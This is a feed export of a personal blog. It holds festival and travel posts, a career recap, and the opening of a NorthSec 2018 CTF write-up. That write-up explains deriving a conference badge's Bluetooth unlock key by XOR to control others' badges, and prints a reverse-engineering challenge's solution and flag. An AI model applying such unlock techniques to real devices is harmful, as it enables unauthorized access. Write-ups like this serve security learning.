high speed train from Rotterdam to Paris to begin the next part of our journey.</p><div class="figure center lazyload" style="width:;"><a class="fancybox" href="https://images.fletchto99.com/blog/2019/april/tomorrowland/2.jpg" title="Forest and I about to board the Thalys high speed train" data-caption="Forest and I about to board the Thalys high speed train" data-fancybox="default"><img class="fig-img" src="https://images.fletchto99.com/blog/2019/april/tomorrowland/2.jpg" alt="Forest and I about to board the Thalys high speed train"></a><span class="caption">Forest and I about to board the Thalys high speed train</span></div><div style="clear:both;"></div><p>Forest and I spent a week in Paris before heading to the festival. We were staying at a cozy AirBnB in the heart of Paris - only a metro ride away from everything. Our AirBnB host Carole gave us plenty of recommendations of places to check out including many places I missed during my first trip to Paris. One of my favorite sights during our stay in Paris was the catacombs, all of the skeletons made the atmosphere so eerie. We also made sure to visit the Eiffel Tower because what would a trip to Paris be without visiting it!</p><div class="figure fig-50 left lazyload" style="width:;"><a class="fancybox" href="https://images.fletchto99.com/blog/2019/april/tomorrowland/3.jpg" title="The French Catacombs" data-caption="The French Catacombs" data-fancybox="default"><img class="fig-img" src="https://images.fletchto99.com/blog/2019/april/tomorrowland/3.jpg" alt="The French Catacombs"></a><span class="caption">The French Catacombs</span></div><div class="figure fig-50 right lazyload" style="width:;"><a class="fancybox" href="https://images.fletchto99.com/blog/2019/april/tomorrowland/4.jpg" title="Forest in the Catacombs" data-caption="Forest in the Catacombs" data-fancybox="default"><img class="fig-img" src="https://images.fletchto99.com/blog/2019/april/tomorrowland/4.jpg" alt="Forest in the Catacombs"></a><span class="caption">Forest in the Catacombs</span></div><p>However, the best part about trips like this are the people you meet. Last summer when I traveled to Paris I got to hand deliver a gift to my sister’s <a href="https://www.reddit.com/r/secretsanta/comments/910uc0/my_sister_matched_internationally_with_someone/">Reddit secret Santa</a>. Forest and I got to meet up with her again! Axelle even managed to convince Forest and I to try escargot… it was interesting to say the least. Following Paris we hopped on the highspeed train to make our way down to Lyon and begin our journey into the french alps.</p><div class="figure fig-50 left lazyload" style="width:;"><a class="fancybox" href="https://images.fletchto99.com/blog/2019/april/tomorrowland/5.jpg" title="Axelle, Forest and I" data-caption="Axelle, Forest and I" data-fancybox="default"><img class="fig-img" src="https://images.fletchto99.com/blog/2019/april/tomorrowland/5.jpg" alt="Axelle, Forest and I"></a><span class="caption">Axelle, Forest and I</span></div><div class="figure fig-50 right lazyload" style="width:;"><a class="fancybox" href="https://images.fletchto99.com/blog/2019/april/tomorrowland/6.jpg" title="Carole and I" data-caption="Carole and I" data-fancybox="default"><img class="fig-img" src="https://images.fletchto99.com/blog/2019/april/tomorrowland/6.jpg" alt="Carole and I"></a><span class="caption">Carole and I</span></div><p>What’s better than just a festival? How about a festival up in the beautiful French alps with some amazing skiing and stunning scenery! I met some others from Ottawa at Tomorrowland during the summer and we decided to all go together to the winter edition. Early Saturday morning we boarded the shuttle from Lyon to make our way to Alp D’Huez. We were staying in a beautify 8 person chalet no further than 100 meters from the slopes and the festival! It honestly felt so nice to be able to go back to the chalet and relax between sets. There were stages all over the place, over 10 stages with some of them being ski-only stages! One of the coolest spots for a stage was the north face one at the summit of the mountain which required you to 2 gondolas and a cable car to get there.</p><div class="figure center lazyload" style="width:;"><a class="fancybox" href="https://images.fletchto99.com/blog/2019/april/tomorrowland/7.jpg" title="The summit of Alp D'Huez" data-caption="The summit of Alp D'Huez" data-fancybox="default"><img class="fig-img" src="https://images.fletchto99.com/blog/2019/april/tomorrowland/7.jpg" alt="The summit of Alp D'Huez"></a><span class="caption">The summit of Alp D'Huez</span></div><div style="clear:both;"></div><p>One of my favorite mountain stages had to be amicorium spectaculum. It was the perfect atmosphere and made for some great scenery while listing to the DJs. The best part about the stage was it’s size, it was small enough that it felt quite intimate yet you’re surrounded by mountains. Sometimes after the DJ finished their set they would even come down into the audience so you could meet them. The crew I was with were all big tecno&#x2F;trance fans and we all go to meet Kolsch, Joris Voorn and Patrice Baumel. Of course it wouldn’t be the amicorium spectaculum with out performers! Tomorrowland always puts on a good show in that regard.</p><div class="figure fig-50 left lazyload" style="width:;"><a class="fancybox" href="https://images.fletchto99.com/blog/2019/april/tomorrowland/8.jpg" title="Amazing views!" data-caption="Amazing views!" data-fancybox="default"><img class="fig-img" src="https://images.fletchto99.com/blog/2019/april/tomorrowland/8.jpg" alt="Amazing views!"></a><span class="caption">Amazing views!</span></div><div class="figure fig-50 right lazyload" style="width:;"><a class="fancybox" href="https://images.fletchto99.com/blog/2019/april/tomorrowland/9.jpg" title="My friends and I met Kolsch!" data-caption="My friends and I met Kolsch!" data-fancybox="default"><img class="fig-img" src="https://images.fletchto99.com/blog/2019/april/tomorrowland/9.jpg" alt="My friends and I met Kolsch!"></a><span class="caption">My friends and I met Kolsch!</span></div><p>The stages in the village were spectacular - with pyro tehcnics, fireworks, CO2 cannons, and basically anything you could dream of at a festival. I didn’t spend much time at the mainstage, I only saw a few acts there. I did manage to make it to the rail for the closing set at Martin Garrix and boy was it ever slippery! Imagine a festival on a skating rink, that’s essentially what the mainstage was like (though it was a ton of fun to be pushed&#x2F;slide around in the crowd). However my favorite stage was the rebuild of the freedom stage known as the Garden of Madness. Quite a few elements of the stage changed for example there’s no butterflies which come down from the ceiling. There were also quite a few that remained: tons of lasers, lights and the fact that it was still a sauna… I think they could have had better ventilation! Overall Tomorrowland did not disappoint with the stages.</p><div class="figure center lazyload" style="width:;"><a class="fancybox" href="https://images.fletchto99.com/blog/2019/april/tomorrowland/10.jpg" title="I made some friends at Martin Garrix's set!" data-caption="I made some friends at Martin Garrix's set!" data-fancybox="default"><img class="fig-img" src="https://images.fletchto99.com/blog/2019/april/tomorrowland/10.jpg" alt="I made some friends at Martin Garrix's set!"></a><span class="caption">I made some friends at Martin Garrix's set!</span></div><div style="clear:both;"></div><p>My favorite set of the weekend was Charlotte de Witte’s set in the Garden of Madness - she absolutely killed it. The energy at her set was through the roof, I still remember waking up the next day feeling like my legs and arms were going to fall off from dancing so much! I didn’t get too much video from her set since I think it’s really important to live in the moment at events like these however I did manage to capture a brief glimpse of the insane atmosphere:</p><div class="figure " style="width:100%"; ><video class="fig-video" controls alt="Crazy lazers!!!"><source src="https://images.fletchto99.com/blog/2019/april/tomorrowland/charlotte.mp4" type="video/mp4"><p>Your browser doesn't support HTML5 Video :/</p></video><span class="caption">Crazy lazers!!!</span></div><p>When I got back from Tomorrowland I was really excited to see that Charlotte was coming to Denver. As I write this I was actually able to see her here in Denver this past weekend. I was even lucky enough to meet Charlotte after her set and grab this amazing photo! I’ve seen her live 4 times now and she certainly doesn’t disappoint.</p><div class="figure fig-50 left lazyload" style="width:;"><a class="fancybox" href="https://images.fletchto99.com/blog/2019/april/tomorrowland/11.jpg" title="I got to meet Charlotte @ The Church in Denver!" data-caption="I got to meet Charlotte @ The Church in Denver!" data-fancybox="default"><img class="fig-img" src="https://images.fletchto99.com/blog/2019/april/tomorrowland/11.jpg" alt="I got to meet Charlotte @ The Church in Denver!"></a><span class="caption">I got to meet Charlotte @ The Church in Denver!</span></div><div class="figure fig-50 right lazyload" style="width:;"><a class="fancybox" href="https://images.fletchto99.com/blog/2019/april/tomorrowland/12.jpg" title="She was DJing only a few feet away from me!" data-caption="She was DJing only a few feet away from me!" data-fancybox="default"><img class="fig-img" src="https://images.fletchto99.com/blog/2019/april/tomorrowland/12.jpg" alt="She was DJing only a few feet away from me!"></a><span class="caption">She was DJing only a few feet away from me!</span></div><p>Checkout these awesome pictures I got on the trip!</p><span id="more"></span><link rel="stylesheet" href="/css/spoiler.css" type="text/css"><script src="/js/spoiler.js" type="text/javascript" async></script>]]></content>
    
    
    <summary type="html">&lt;p&gt;Last month I watched music bring the french alps alive for the first ever edition of Tomorrowland Winter.&lt;/p&gt;</summary>
    
    
    
    <category term="festivals" scheme="https://blog.fletchto99.com/categories/festivals/"/>
    
    
    <category term="tomorrowland" scheme="https://blog.fletchto99.com/tags/tomorrowland/"/>
    
    <category term="festivals" scheme="https://blog.fletchto99.com/tags/festivals/"/>
    
    <category term="travel" scheme="https://blog.fletchto99.com/tags/travel/"/>
    
  </entry>
  
  <entry>
    <title>Living a dream and I don&#39;t want to wake up</title>
    <link href="https://blog.fletchto99.com/2019/january/dreamer/"/>
    <id>https://blog.fletchto99.com/2019/january/dreamer/</id>
    <published>2019-01-31T07:00:00.000Z</published>
    <updated>2019-06-10T02:20:48.936Z</updated>
    
    <content type="html"><![CDATA[<!-- excerpt --><div class="figure center" style="width:;"><img class="fig-img" src="https://images.fletchto99.com/blog/2019/january/dreamer/banner.png" alt=""></div><div style="clear:both;"></div><p>Four years ago I could only dream of working at a company like GitHub and now I’m here. 2018 has been one of the most fulfilling years of my life! There’s so much I’d love to recap in this post but I’ll limit it to the my main highlights of the year.</p><div class="figure center" style="width:;"><a class="fancybox" href="https://images.fletchto99.com/blog/2019/january/dreamer/1.jpg" title="My intern project shipping during the GitHub Universe keynote!" data-caption="My intern project shipping during the GitHub Universe keynote!" data-fancybox="default"><img class="fig-img" src="https://images.fletchto99.com/blog/2019/january/dreamer/1.jpg" alt="My intern project shipping during the GitHub Universe keynote!"></a><span class="caption">My intern project shipping during the GitHub Universe keynote!</span></div><div style="clear:both;"></div><p>2018 started off with running uOttaHack, University of Ottawa’s first ever MLH hackathon. The hackathon took hundreds of hours of planning from an extremely dedicated team but the result was astonishing! The event brought over 400 students from all across Canada together for a weekend of hacking and learning. Our team was able to secure a stunning $50,000 in funding for a first time event! If you’re interested in learning more about what it’s like running a hackathon see my <a href="https://blog.fletchto99.com/2018/april/one-chapter-ends-another-begins/">other blog post</a>.</p><div class="figure center" style="width:;"><a class="fancybox" href="https://images.fletchto99.com/blog/2019/january/dreamer/2.jpg" title="The uOttaHack Founding Team" data-caption="The uOttaHack Founding Team" data-fancybox="default"><img class="fig-img" src="https://images.fletchto99.com/blog/2019/january/dreamer/2.jpg" alt="The uOttaHack Founding Team"></a><span class="caption">The uOttaHack Founding Team</span></div><div style="clear:both;"></div><p>Shortly after the hackathon I graduated from University, a day I thought would never come. University was one of the best times of my life! Throughout university I was able to make some friendships which will last a lifetime. If I could give any advice to new students it would be: make the most of the extra curricular activities. There’s so many to choose from but some of my most fulfilling university experiences come from IEEE, uOttaHack, Pebble meetups, and other events. University is the time for you to find your passion and make the most of it; that’s how I developed my love for cyber security!</p><div class="figure center" style="width:;"><a class="fancybox" href="https://images.fletchto99.com/blog/2019/january/dreamer/3.jpg" title="IEEE uOttawa Student Branch 2017/2018" data-caption="IEEE uOttawa Student Branch 2017/2018" data-fancybox="default"><img class="fig-img" src="https://images.fletchto99.com/blog/2019/january/dreamer/3.jpg" alt="IEEE uOttawa Student Branch 2017/2018"></a><span class="caption">IEEE uOttawa Student Branch 2017/2018</span></div><div style="clear:both;"></div><p>After graduation I had the opportunity to spend just over a month traveling Europe! The adventure began with my friend Joseph and I exploring Iceland. Iceland was beautiful and had some of the best nature sights of the entire trip! Following that Joseph and I met up with my friend Jurre in Amsterdam and we got to meet his family as well as visit his home. The three of us had a great time traveling around the Netherlands visiting Jurre’s home country. One day we even made it over to the edge of Germany and got to go on the autobahn… don’t worry we didn’t go <em>that fast</em>. Following that Joseph went home and Jurre and I embarked on the rest of our trip.</p><p>For the rest of the trip Jurre and I borrowed his parents car to travel along the west coast of Europe. In Belgium we went on a bike tour through Brussels and picked up some tasty Belgian chocolate. Next up we worked our way down to the UK - taking a train that we drove the car onto. Jurre and I stayed at a cozy AirBnB in Tonbridge where we watched England lose in the world cup (sorry every country I visited got eliminated, oops). We made some day trips to London and on one of them we connected with Maz, another friend from University. Unfortunately Big Ben was covered in scaffolding, but hey at least we’ve got clocks here too.</p><p>After London we worked our way in to western France for one of the most eye opening parts of the trip: Normandy. There was so much history in Normandy it was truly stunning to see first hand what the soldiers of WWII went through for our freedom. Jurre and I got to see the beaches which these soldiers landed on while facing absolutely terrifying German fortifications. One of the scariest and most eye opening areas was Pointe du Hoc, where soldiers climbed a cliff-side while being shot at. I’ve always been interested in WWII history and being able to see Normandy and the surrounding area firsthand was surreal.</p><p>After Normandy Jurre and I made our way to Paris where I got to personally hand deliver a <a href="https://www.redditgifts.com/gallery/arbitrary-day-2018/gift/shipment-proof-brother/">Reddit Secret Santa gift</a> on behalf of my sister. It was great being able to visit the Eiffel tower as well as the Mona Lisa. Finally Jurre and I made our way back to the Netherlands so that we could prepare for Tomorrowland! The festival was one of the best times in my life, I’ve never enjoyed my self so much. A while ago I wrote about my <a href="https://blog.fletchto99.com/2018/august/tomorrowland/">Tomorrowland experience</a>, I definitely suggest checking it out!</p><div class="figure center" style="width:;"><a class="fancybox" href="https://images.fletchto99.com/blog/2019/january/dreamer/4.jpg" title="Pointe du Hoc - The cliff soldiers climbed while being shot at" data-caption="Pointe du Hoc - The cliff soldiers climbed while being shot at" data-fancybox="default"><img class="fig-img" src="https://images.fletchto99.com/blog/2019/january/dreamer/4.jpg" alt="Pointe du Hoc - The cliff soldiers climbed while being shot at"></a><span class="caption">Pointe du Hoc - The cliff soldiers climbed while being shot at</span></div><div style="clear:both;"></div><p>After my trip to Europe I begun my career as a cyber security engineer at GitHub on their product security team. These first few months at GitHub have been some of the most interesting in terms of cyber security. I get to work with some extremely talented engineers daily and am constantly learning from them. I got to see <a href="https://github.blog/2018-10-17-behind-the-scenes-of-github-token-scanning/">token scanning</a>, my intern project, get shipped at the keynote for GitHub Universe. Furthermore, I got to work on some awesome feature ships which impact millions of users daily… <em>was the password you used found in a data breach</em>? I can’t wait to see what the future has in store for me at GitHub!</p><div class="figure center" style="width:;"><a class="fancybox" href="https://images.fletchto99.com/blog/2019/january/dreamer/5.png" title="Compromised password checks" data-caption="Compromised password checks" data-fancybox="default"><img class="fig-img" src="https://images.fletchto99.com/blog/2019/january/dreamer/5.png" alt="Compromised password checks"></a><span class="caption">Compromised password checks</span></div><div style="clear:both;"></div><p>Finally I finished the year by challenging myself to learn some new programming languages during <a href="https://adventofcode.com/">Advent of Code</a>. For those of you who may not know, AoC is like an advent calendar but instead of getting chocolate you get a new programming challenge each day, progressively getting more challenging. While my goal of using a new language every day was slightly ambitious I did get to use some interesting languages such as Whitespace and OCaml. I plan to circle back and finish the rest of the challenges at some point during 2019. All of my solutions can be found on my <a href="https://github.com/fletchto99/advent-of-code">advent of code repo</a>. I even made my own whitespace theme for sublime! I look forward to next year’s challenges and props to <a href="https://twitter.com/ericwastl">Eric Wastl</a> for all of his hard work this year!</p><div class="figure center" style="width:;"><a class="fancybox" href="https://images.fletchto99.com/blog/2019/january/dreamer/6.jpg" title="Found during Appsec California" data-caption="Found during Appsec California" data-fancybox="default"><img class="fig-img" src="https://images.fletchto99.com/blog/2019/january/dreamer/6.jpg" alt="Found during Appsec California"></a><span class="caption">Found during Appsec California</span></div><div style="clear:both;"></div><p>2018 was an amazing year and I can’t wait for what 2019 has in store! As I write this I’m sitting on the Santa Monica pier while I’m here for Appsec California. Following that I’ll be traveling to Europe again for a month for Tomorrowland winter with my friend Forest. While I’m there I’ll be meeting with some of my colleagues from the GitHub Amsterdam office as well as visiting Jurre. After that I’ll be running a workshop on whitehat hacking&#x2F;CTFing at Locomocosec in Hawaii! If you’re looking for the best defensive cyber security conference in an amazing location look no further!</p><span id="more"></span><link rel="stylesheet" href="/css/spoiler.css" type="text/css"><script src="/js/spoiler.js" type="text/javascript" async></script>]]></content>
    
    
    <summary type="html">&lt;p&gt;Four years ago I could only dream of working at a company like GitHub and now I’m here.&lt;/p&gt;</summary>
    
    
    
    <category term="personal" scheme="https://blog.fletchto99.com/categories/personal/"/>
    
    
    <category term="security" scheme="https://blog.fletchto99.com/tags/security/"/>
    
    <category term="github" scheme="https://blog.fletchto99.com/tags/github/"/>
    
    <category term="travel" scheme="https://blog.fletchto99.com/tags/travel/"/>
    
  </entry>
  
  <entry>
    <title>Tomorrowland 2018 - The story of Planaxis</title>
    <link href="https://blog.fletchto99.com/2018/august/tomorrowland/"/>
    <id>https://blog.fletchto99.com/2018/august/tomorrowland/</id>
    <published>2018-08-03T07:00:00.000Z</published>
    <updated>2022-12-19T05:13:30.926Z</updated>
    
    <content type="html"><![CDATA[<!-- excerpt --><div class="figure center" style="width:;"><img class="fig-img" src="https://images.fletchto99.com/blog/2018/august/tomorrowland/banner.jpg" alt=""></div><div style="clear:both;"></div><p>This past weekend I watched music unite thousands of people from around the world for a weekend of happiness at Tomorrowland. This was my first time at Tomorrowland, or any festival for that matter, and it was hands down one of the best weekends of my life. Throughout the weekend I met people from all walks of life all coming together for the same reason: music. I’ve been watching the Tomorrowland livestream since 2012 and being able to finally experience it first hand in person is something completely different.</p><p>Since Jurre and I chose the Magnificent Greens camping option we were invited to the Gathering pre-party and I remember being in awe as I saw a DJ live for the first time. The amount of effort which went into the theme and decorations for the festival amazes me, from the garbage cans and lightposts to the walkways and stages everything is on theme. I could talk all day about decorations alone but instead I suggest checking out some of the pictures I took at the end of this post.</p><p>One of the coolest parts about the festival for me, besides meeting people, was probably the choreography of the sets. All the lights, fire, confetti, bubbles, and fireworks… All in sync as the beat drops. The feeling is just unreal, something I cannot describe. I also managed to bring back one of the coolest souvenir: my custom Canadian flag signed by the people of Tomorrow!</p><div class="figure center" style="width:;"><a class="fancybox" href="https://images.fletchto99.com/blog/2018/august/tomorrowland/1.jpg" title="My custom Canada flag!" data-caption="My custom Canada flag!" data-fancybox="default"><img class="fig-img" src="https://images.fletchto99.com/blog/2018/august/tomorrowland/1.jpg" alt="My custom Canada flag!"></a><span class="caption">My custom Canada flag!</span></div><div style="clear:both;"></div><h1 id="First-Time-Tips"><a href="#First-Time-Tips" class="headerlink" title="First Time Tips"></a>First Time Tips</h1><p>Since this was my first time at a festival I learned quite a bit! If you’re thinking of attending Tomorrowland next year then hopefully some of these tips will help:</p><ol><li>If you’re camping meet your neighbors early on! You’ll have plenty of time to chat in the mornings before going to the festival and you might even find out that you’re going to some of the same sets. This is probably the best way to meet people early on! Some of the first people to sign my flag were our tent neighbors.</li><li>I recommend arriving slightly early on the fist day and doing a complete walk through of the festival grounds. There’s so much to discover and you definitely don’t want to just camp out the mainstage. The first thing I did was walk around and get an idea of what there was to do&#x2F;see. It turns out there’s even a free ferris wheel at the back of the festival which has an amazing view. I suggest going once during the day and then again later at night… the view is just stunning. Besides that there’s so much to see, so definitional get an idea of what you’d like to visit over the span of the weekend.</li><li>Pack only the essentials - if you don’t need it don’t bring it. For everything else, put it in a locker. Locker rentals are quite cheap compared to having something stolen. Unfortunately thieves are present, especially since the festival draws such a large crowd. If you plan on bringing a backpack I highly recommend bringing a flag to put over the backpack as it prevents thieves from having easy access to the zippers. Plus who doesn’t want to represent their country??</li><li>Find some new music and DJs! You MUST visit the smaller stages and find new music - there’s so much to discover in one weekend! According to some stats there were over 700 DJs and 900 sets in the span of the two weekend. One thing that really helped was making friends with people who wanted to see artists you don’t know. This way you’ll have someone to dance with while also finding new music. This worked really well for me!</li><li>Have fun and be safe! Make the most of your time at the festival, try some new foods or maybe even send a post card but most importantly just have fun! From the time you wake up until the time you fall asleep you will be escaping reality. It will be a weekend unlike any other.</li></ol><h1 id="My-Experience"><a href="#My-Experience" class="headerlink" title="My Experience"></a>My Experience</h1><p>The festival was so much more than just the music to me. Before even arriving I had planned to meet up with some people I met through the <a href="http://bit.ly/TMLDiscord">Tomorrowland discord server</a> I’m a part of. It was a great feeling knowing I would have some friends to dance with before even arriving at the festival. One of them even made an epic garlic bread flag for all of us to sign! On Thursday there is a gathering event for participants who chose to camp. Essentially the Gathering is pre-party with a day of music and even a few surprise DJs. We had a killer surprise DJ lineup including Lost Frequencies, Netsky, and Armin Van Buuren! As I stated earlier, I couldn’t believe the gatering was just the pre-party!</p><div class="figure center" style="width:;"><a class="fancybox" href="https://images.fletchto99.com/blog/2018/august/tomorrowland/2.jpg" title="Garlic bread discord meetup!" data-caption="Garlic bread discord meetup!" data-fancybox="default"><img class="fig-img" src="https://images.fletchto99.com/blog/2018/august/tomorrowland/2.jpg" alt="Garlic bread discord meetup!"></a><span class="caption">Garlic bread discord meetup!</span></div><div style="clear:both;"></div><p>Friday was the fist day of the festival. It started off with a nice all you can eat buffet style breakfast at the quaker farmhouse. I highly recommend eating there if you’re camping. It can be a bit pricey but you pay before the festival so no need to worry about breakfast while there plus there were no lines when I went. You can also do what I did and go for breakfast at 8 AM, and then go again for lunch at 11:30am right before they close. After breakfast I made the 20 minute walk over to the festival to start exploring. I spent the fist day with a couple I met at the garlic bread meetup the night before and we explored most of the smaller stages. Around 4:30PM we went over to the mainstage to watch the opening ceremony. I highly recommend doing this, especially if it will be your first time at the festival. The views were unreal, unlike anything I’ve seen before. Friday was crazy hot, almost 47 degrees Celsius at some points, so I made sure to drink plenty of water to stay hydrated. I suggest bringing a hydration pack as it makes camping the front of stages much easier. Later that evening I had the opportunity to meet Slushii and Netsky (thanks to Dorest0rm from discord), they even signed my flag!! I finished up the night at mainstage to watch the closing fireworks.</p><div class="figure fig-50 left" style="width:;"><a class="fancybox" href="https://images.fletchto99.com/blog/2018/august/tomorrowland/3.jpg" title="Meeting Slushii" data-caption="Meeting Slushii" data-fancybox="default"><img class="fig-img" src="https://images.fletchto99.com/blog/2018/august/tomorrowland/3.jpg" alt="Meeting Slushii"></a><span class="caption">Meeting Slushii</span></div><div class="figure fig-50 right" style="width:;"><a class="fancybox" href="https://images.fletchto99.com/blog/2018/august/tomorrowland/4.jpg" title="Meeting Netsky" data-caption="Meeting Netsky" data-fancybox="default"><img class="fig-img" src="https://images.fletchto99.com/blog/2018/august/tomorrowland/4.jpg" alt="Meeting Netsky"></a><span class="caption">Meeting Netsky</span></div><p>Saturday was a quieter day for me. Most of the artists I wanted to see were either on Friday or Sunday. Most of my day was spent discovering new artists and visiting the smaller stages I hadn’t yet seen. I think my favorite stage of the weekend was the Organ of Harmony, it just looks amazing. The Rose garden stage was a close second since it has a wicked dragon over top with the tail continuing into the lake. Later that evening I met Jon, another member from discord, and we finished off the night at Hardwell. I loved watching Hardwell’s set because he’s such a happy DJ! I don’t think he stopped smiling the whole time.</p><div class="figure center" style="width:;"><a class="fancybox" href="https://images.fletchto99.com/blog/2018/august/tomorrowland/5.jpg" title="Hardwell" data-caption="Hardwell" data-fancybox="default"><img class="fig-img" src="https://images.fletchto99.com/blog/2018/august/tomorrowland/5.jpg" alt="Hardwell"></a><span class="caption">Hardwell</span></div><div style="clear:both;"></div><p>Sunday was my favourite day of the entire festival… save the best for last right? Almost all of the artists I wanted to see were playing on this day. In the afternoon I went by myself to get my panoramic photo by the Freedom stage. In line I noticed the girl behind me was also on her own so I asked her to sign my flag. We then took the panoramic photo together! That’s how I met Ofir… it turns out she was also going to see KSHMR later that day so we decided to meetup again to dance together at KSHRM’s set! We were 3 rows back from the front of the stage and even managed to appear on the livestream! I had such a great time dancing… I don’t think I ever danced so hard in my life. To close off the festival I met up with Jurre and we watched Martin Garrix’s set from the hills of the main stage. It was an unforgettable experience and I can’t wait for Tomorrowland 2019. I guess I got the crave to rave now?</p><div class="figure center" style="width:;"><a class="fancybox" href="https://images.fletchto99.com/blog/2018/august/tomorrowland/6.jpg" title="Ofir & I at KSHMR" data-caption="Ofir & I at KSHMR" data-fancybox="default"><img class="fig-img" src="https://images.fletchto99.com/blog/2018/august/tomorrowland/6.jpg" alt="Ofir & I at KSHMR"></a><span class="caption">Ofir & I at KSHMR</span></div><div style="clear:both;"></div><p>I’m now on my way home and had such a wonderful time in Europe. I’ll be moving to Boulder, Colorado next week to start my new job at GitHub! I hope to add another post shortly about my trip across Europe. Be sure to check out the photos below of my experience at Tomorrowland.</p><span id="more"></span><link rel="stylesheet" href="/css/spoiler.css" type="text/css"><script src="/js/spoiler.js" type="text/javascript" async></script>]]></content>
    
    
    <summary type="html">&lt;p&gt;This past weekend I watched music unite thousands of people from around the world for a weekend of happiness at Tomorrowland.&lt;/p&gt;</summary>
    
    
    
    <category term="festivals" scheme="https://blog.fletchto99.com/categories/festivals/"/>
    
    
    <category term="tomorrowland" scheme="https://blog.fletchto99.com/tags/tomorrowland/"/>
    
    <category term="festivals" scheme="https://blog.fletchto99.com/tags/festivals/"/>
    
    <category term="travel" scheme="https://blog.fletchto99.com/tags/travel/"/>
    
  </entry>
  
  <entry>
    <title>NorthSec 2018</title>
    <link href="https://blog.fletchto99.com/2018/july/northsec-2018/"/>
    <id>https://blog.fletchto99.com/2018/july/northsec-2018/</id>
    <published>2018-07-07T07:00:00.000Z</published>
    <updated>2022-12-19T05:14:02.747Z</updated>
    
    <content type="html"><![CDATA[<!-- excerpt --><div class="figure center" style="width:;"><img class="fig-img" src="https://images.fletchto99.com/blog/2018/july/northsec-2018/banner.png" alt=""></div><div style="clear:both;"></div><p>About a month ago I went NothSec, Canada’s premier cyber security conference &amp; CTF. I was lucky enough to go with the SomRandomName team. Unfortunately we didn’t place in th CTF this year but I still learned so much! In this post I’ll talk about some of the challenges I helped solve.</p><h3 id="Badge-Work"><a href="#Badge-Work" class="headerlink" title="Badge Work"></a>Badge Work</h3><p>Before I get too much into the challenge its self I want to talk a bit about the badge. At NSec we’re given a PCB with a few features (Bluetooth, LEDs, small display, debug ports, etc…) as our conference badge. During the days of the conference you’re able to analyze the conference firmware, creating tools to interact with the badge. My primary focus of the badge was being able to interact with the implemented bluetoth protocol. We were given some specs regarding the bluetooth so I opted to create a python script which uses the bluetooth controller on my macbook to interface with the badge.</p><p>Before diving too deep into the bluetooth operations it should be noted that any modification via bluetooth required the device to be unlocked via a sync key. The sync key could be found within the menus of the badge however one of my teammates noticed that the sync key was actually just derived from 4 bytes in the device name being XORed with <code>0xc3c3</code>. Once this was determined it became possible to “hack” anyone’s badge. I made this <a href="https://gist.github.com/fletchto99/66e8d64a39e8d1e6dade455dc722cf74">fun little script</a> to perform almost any bluetooth action, though the LED stuff didn’t seem to work fully.</p><div class="figure fig-50 left" style="width:;"><a class="fancybox" href="https://images.fletchto99.com/blog/2018/july/northsec-2018/1.png" title="Front of the badge" data-caption="Front of the badge" data-fancybox="default"><img class="fig-img" src="https://images.fletchto99.com/blog/2018/july/northsec-2018/1.png" alt="Front of the badge"></a><span class="caption">Front of the badge</span></div><div class="figure fig-50 right" style="width:;"><a class="fancybox" href="https://images.fletchto99.com/blog/2018/july/northsec-2018/2.png" title="Back of the badge" data-caption="Back of the badge" data-fancybox="default"><img class="fig-img" src="https://images.fletchto99.com/blog/2018/july/northsec-2018/2.png" alt="Back of the badge"></a><span class="caption">Back of the badge</span></div><h3 id="BabyRE-0"><a href="#BabyRE-0" class="headerlink" title="BabyRE 0"></a>BabyRE 0</h3><p>We were given this unknown binary, can you find the flag?</p><ul><li>[ <a href="https://images.fletchto99.com/blog/2018/july/northsec-2018/babyre0.bin">BabyRE0</a> ]</li></ul><div class='spoiler collapsed'>    <div class='spoiler-title'>        Hint    </div>    <div class='spoiler-content'>        <p>What command might reveal some of the text contents of the binary?</p>    </div></div><div class='spoiler collapsed'>    <div class='spoiler-title'>        BabyRE 0 Solution    </div>    <div class='spoiler-content'>        <p>This challenge was pretty straightforward, even as a beginner (hence the title BabyRE). It was the perfect introduction to reverse engineering for me as I haven’t done much in the past. My first instinct was to attempt running strings on the program… and what do you know, it revealed some interesting information!</p><div class="figure center" style="width:;"><a class="fancybox" href="https://images.fletchto99.com/blog/2018/july/northsec-2018/3.png" title="Output from strings command" data-caption="Output from strings command" data-fancybox="default"><img class="fig-img" src="https://images.fletchto99.com/blog/2018/july/northsec-2018/3.png" alt="Output from strings command"></a><span class="caption">Output from strings command</span></div><div style="clear:both;"></div><p>Based on this information it looks like we have the flag! So I attempted to concatenate all of the lines that appear related to the flag and submit…. nope wrong flag! Looking a bit closer at the flag we can see that the text appears to be only lowercase characters and numbers, infact it looks like hex. Each of the lines end in “H” so perhaps that’s just denoting that the contents are hex? Removing the H reveals <code>FLAG-{0937122d036885153b0b8b50edd695599cf7c933fda497965dbcd24dd55924fc}</code> - submit and bam we’ve got the flag!</p><p>However I didn’t stop there but rather I decided to take a few minutes to look at the challenge in a disassembler (I chose to use IDA) just incase it gave some kind of indication how the upcoming challenges might have operated. For all of the BabyRE challenges I only followed the branches which lead to success, for example if no input fails then I would stop analyzing that branch. I personally found this the quickest way to solve the problems. I’m not going to go into too much detail about the IDA process here since I talk about it more in the BabyRE1 solution, however this is what the disassembly graph looked like:</p><div class="figure center" style="width:;"><a class="fancybox" href="https://images.fletchto99.com/blog/2018/july/northsec-2018/4.png" title="BabyRE0 Disassembly Graph" data-caption="BabyRE0 Disassembly Graph" data-fancybox="default"><img class="fig-img" src="https://images.fletchto99.com/blog/2018/july/northsec-2018/4.png" alt="BabyRE0 Disassembly Graph"></a><span class="caption">BabyRE0 Disassembly Graph</span></div><div style="clear:both;"></div>    </div></div><h3 id="BabyRE-1"><a href="#BabyRE-1" class="headerlink" title="BabyRE 1"></a>BabyRE 1</h3><p>We were given this unknown binary, can you find the flag?</p><ul><li>[ <a href="https://images.fletchto99.com/blog/2018/july/northsec-2018/babyre1.bin">BabyRE1</a> ]</li></ul><div class='spoiler collapsed'>    <div class='spoiler-title'>        Hint    </div>    <div class='spoiler-content'>        <p>Does ^ help at all?</p>    </div></div><div class='spoiler collapsed'>    <div class='spoiler-title'>        BabyRE 1 Solution    </div>    <div class='spoiler-content'>        <p>Once again I started by running Strings. This time it looks like the string was obfuscated somehow – looks like more work is required. After some basic analysis I decided to hop right into reversing the binary with IDA. In hindsight I probably would have been better off running it through a debugger first with some test input just to see what’s happening.</p><p>Opening the binary in IDA revealed a challenge quite similar to that of BabyRE0. In fact it was so similar that only one section of the binary really changed, specifically the section at <code>loc_4006c6</code>.</p><div class="figure center" style="width:;"><a class="fancybox" href="https://images.fletchto99.com/blog/2018/july/northsec-2018/5.png" title="Disasembler view" data-caption="Disasembler view" data-fancybox="default"><img 